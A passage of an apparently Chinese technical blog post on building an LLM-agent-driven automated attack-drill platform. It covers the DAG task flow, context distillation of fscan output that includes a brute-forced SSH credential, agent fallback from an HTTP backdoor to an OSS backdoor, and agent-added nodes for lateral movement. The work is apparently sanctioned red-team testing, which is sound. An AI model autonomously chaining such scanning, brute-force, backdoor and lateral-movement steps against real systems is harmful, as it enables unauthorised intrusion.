UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">然后下游就通过遍历任务来进行执行，并且在执行中会去判断是否已经完成当前任务，如果完成当前任务就返回</span><code style="box-sizing: border-box;font-family: &#34;YaHei Consolas Hybrid&#34;, Consolas, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Helvetica, monospace, monospace;font-size: 14px;color: rgb(232, 62, 140);overflow-wrap: break-word;padding: 3px;margin: 0px 4px 0px 5px;background: rgb(246, 246, 246);border-radius: 3px;border: 1px solid rgb(221, 221, 221);"><span leaf="">FINISH</span></code><span leaf="">进行退出，执行期间会记录历史任务执行情况，以及历史工具调用情况</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031692" alt="image.png" class="rich_pages wxw-img" data-ratio="0.26291079812206575" data-type="png" data-w="2982" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a9e66d04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdz1tmsDk3TdTibGg7OGXvZUhLXUzOjPuCyX9KexRD0AHxTTdnLlyJ7M4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.4;font-size: 1.25em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.5.2 全局上下文</span></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">由于在我的演练流程中，Agent会不断的重启，所以需要一种持久化的方式来将演练全局的信息来进行存储，同样也是为了前面提到的意图工程来做铺垫</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在全局上下文中，我会基于节点的父子关系、ip、应用分组、以及对应执行的插件情况，但是在这里我不会直接将结果进行全部的记录，我会通过Agent来提炼关键信息，因为全局场景上下文空间就会变得很重要，我需要尽可能的提出额外的噪音</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031693" alt="image.png" class="rich_pages wxw-img" data-ratio="0.4423337856173677" data-type="png" data-w="2948" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d3975812&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzyhXQXI0ibNtHMpN6CBLkjTFmc4PPgkvmZp99ea4YhWIQSJCBEXibfw6w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">举个最直接的例子：fscan扫描场景</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">下面是fscan扫描的结果输出情况，其实在我们的观察中最关键的只有一条，那就是</span><code style="box-sizing: border-box;font-family: &#34;YaHei Consolas Hybrid&#34;, Consolas, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Helvetica, monospace, monospace;font-size: 14px;color: rgb(232, 62, 140);overflow-wrap: break-word;padding: 3px;margin: 0px 4px 0px 5px;background: rgb(246, 246, 246);border-radius: 3px;border: 1px solid rgb(221, 221, 221);"><span leaf="">[+]</span><span leaf="">SSH10.1.0.29:22:jenkinsjenkins@2025</span></code><span leaf="">其他的其实都是无效的干扰信息</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="swift"><code><span leaf=""> ___                              <span class="code-snippet__keyword">_</span>    </span></code><br/><code><span leaf=""><span class="code-snippet__operator">/</span> <span class="code-snippet__keyword">_</span> \     ___  ___ <span class="code-snippet__keyword">_</span> __ __ <span class="code-snippet__keyword">_</span>  ___<span class="code-snippet__operator">||</span> __ </span></code><br/><code><span leaf=""><span class="code-snippet__comment">//_\/____/ __|/ __|&#39;__/ _`|/ __||//</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">//_\_____\__ \ (__|||(_||(__|&lt;</span></span></code><br/><code><span leaf="">\____<span class="code-snippet__regexp">/|___/</span>\___<span class="code-snippet__operator">|</span><span class="code-snippet__keyword">_</span><span class="code-snippet__operator">|</span>  \__,<span class="code-snippet__keyword">_</span><span class="code-snippet__operator">|</span>\___<span class="code-snippet__operator">|</span><span class="code-snippet__keyword">_</span><span class="code-snippet__operator">|</span>\<span class="code-snippet__keyword">_</span>\   </span></code><br/><code><span leaf="">                     fscan version:<span class="code-snippet__number">1.8</span>.<span class="code-snippet__number">3</span></span></code><br/><code><span leaf="">start infoscan</span></code><br/><code><span leaf="">(icmp)<span class="code-snippet__type">Target10</span>.<span class="code-snippet__number">1.0</span>.<span class="code-snippet__number">30</span>       <span class="code-snippet__keyword">is</span> alive</span></code><br/><code><span leaf="">(icmp)<span class="code-snippet__type">Target10</span>.<span class="code-snippet__number">1.0</span>.<span class="code-snippet__number">29</span>       <span class="code-snippet__keyword">is</span> alive</span></code><br/><code><span leaf="">(icmp)<span class="code-snippet__type">Target10</span>.<span class="code-snippet__number">1.0</span>.<span class="code-snippet__number">26</span>       <span class="code-snippet__keyword">is</span> alive</span></code><br/><code><span leaf="">(icmp)<span class="code-snippet__type">Target10</span>.<span class="code-snippet__number">1.0</span>.<span class="code-snippet__number">27</span>       <span class="code-snippet__keyword">is</span> alive</span></code><br/><code><span leaf="">(icmp)<span class="code-snippet__type">Target10</span>.<span class="code-snippet__number">1.0</span>.<span class="code-snippet__number">253</span>      <span class="code-snippet__keyword">is</span> alive</span></code><br/><code><span leaf="">[<span class="code-snippet__operator">*</span>]<span class="code-snippet__type">Icmp</span> alive hosts len <span class="code-snippet__keyword">is</span>:<span class="code-snippet__number">5</span></span></code><br/><code><span leaf=""><span class="code-snippet__number">10.1</span>.<span class="code-snippet__number">0.30</span>:<span class="code-snippet__number">22</span> <span class="code-snippet__keyword">open</span></span></code><br/><code><span leaf=""><span class="code-snippet__number">10.1</span>.<span class="code-snippet__number">0.29</span>:<span class="code-snippet__number">22</span> <span class="code-snippet__keyword">open</span></span></code><br/><code><span leaf=""><span class="code-snippet__number">10.1</span>.<span class="code-snippet__number">0.27</span>:<span class="code-snippet__number">22</span> <span class="code-snippet__keyword">open</span></span></code><br/><code><span leaf="">[<span class="code-snippet__operator">*</span>] alive ports len <span class="code-snippet__keyword">is</span>:<span class="code-snippet__number">3</span></span></code><br/><code><span leaf="">start vulscan</span></code><br/><code><span leaf="">[<span class="code-snippet__operator">+</span>] <span class="code-snippet__type">SSH</span> <span class="code-snippet__number">10.1</span>.<span class="code-snippet__number">0.29</span>:<span class="code-snippet__number">22</span>:jenkins jenkins@<span class="code-snippet__number">2025</span></span></code><br/><code><span leaf="">已完成<span class="code-snippet__number">3</span><span class="code-snippet__operator">/</span><span class="code-snippet__number">3</span></span></code><br/><code><span leaf="">[<span class="code-snippet__operator">*</span>]扫描结束,耗时:<span class="code-snippet__number">9</span>.522797582s</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以在记录上下文的过程中，我们让Agent来提炼其实就是下面这么一条很简单的一句话</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf=""><span class="code-snippet__number">1</span>.**Fscan扫描插件**<span class="code-snippet__selector-attr">[演练插件]</span>✅</span></code><br/><code><span leaf="">-参数:{&#34;ip&#34;:<span class="code-snippet__string">&#34;10.1.0.30&#34;</span>}</span></code><br/><code><span leaf="">-结果: fscan <span class="code-snippet__number">1.8</span>.<span class="code-snippet__number">3</span>扫描发现<span class="code-snippet__number">5</span>个存活主机，其中<span class="code-snippet__number">3</span>台开放<span class="code-snippet__number">22</span>端口；成功爆破SSH服务（<span class="code-snippet__number">10.1</span>.<span class="code-snippet__number">0.29</span>:<span class="code-snippet__number">22</span>），获取账号密码：jenkins/jenkins@<span class="code-snippet__number">2025</span>。</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以在全局上下文中，我会尽可能保留关键的信息，从而让后续的攻击意图判断更加的准确，知晓目前已有的成果是什么，已具备的一些信息有哪些，来帮助后续的意图的执行</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031694" alt="image.png" class="rich_pages wxw-img" data-ratio="0.3742414025623736" data-type="png" data-w="2966" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=27e130f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzJXQw13XwJMlFRVJYHuy34tr8fTlsDh7A21ja12qCL8SUpAShbDcrIw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.6 演练灵活性</span></h3><h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.4;font-size: 1.25em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.6.1 插件自切换</span></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">由于自动化演练是在线上进行执行的，所以我们在打之前其实是不知道机器的业务环境到底是怎么样的，然而我们的DAG图节点中的插件其实是事前随机编排好的，那么在执行过程中必然会遇到因环境因素而导致的执行失败，例如网络不通、待执行的命令不存在的情况。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">针对这种情况基于ATTCK阶段和Agent可以解决，由于我在设计机制的时候，Agent会在每个插件执行结束之后以callback的方式来触发，所以Agent能解析判断插件的执行结果，如果研判存在失败，那么Agent就会从插件库中根据当前插件的ATT&amp;CK阶段来重新调用执行</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时在重新选择插件的过程中Agent会先基于报错信息进行环境探测，然后再基于探测后结果选择对应的插件</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">例：HTTP后门执行-&gt;网络不通失败-&gt;ATT&amp;CK-执行阶段-&gt;基于插件描述选择OSS后门-&gt;后门成功上线</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031695" alt="image.png" class="rich_pages wxw-img" data-ratio="0.35404191616766467" data-type="png" data-w="2672" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb7b35eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzSvXibA35RmeH31oYuZ1eEUo7Ux7WicoRKicIepxUozjhWqcAjdsTU7sicw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031697" alt="image.png" class="rich_pages wxw-img" data-ratio="0.37058823529411766" data-type="png" data-w="3400" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=89cab86a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzT50nWv7k070JQoFe6nK5cHLq9aC7yXjZt9QAxITtHKfZHv30OAl5jQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.4;font-size: 1.25em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.6.2 节点自添加</span></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时我在攻击过程中其实还会有可横向移动的情况，例如扫描发现JDWP，那么发现了脆弱点自然就需要进行拓展，由于其实演练所有的节点执行逻辑都在DAG图中，所以我这里直接封装了一个可以添加图节点的工具，然后注册给Agent，那么当Agent发现存在横向移动的可能性时，就会将新发现的节点添加到DAG图中</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">原来场景下最大的问题就是不同扫描器的结果都不一致纯代码很难去做统一准确的解析，但是在大模型场景下其实可以很好的利用理解的特性来帮助我们进行解决</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun 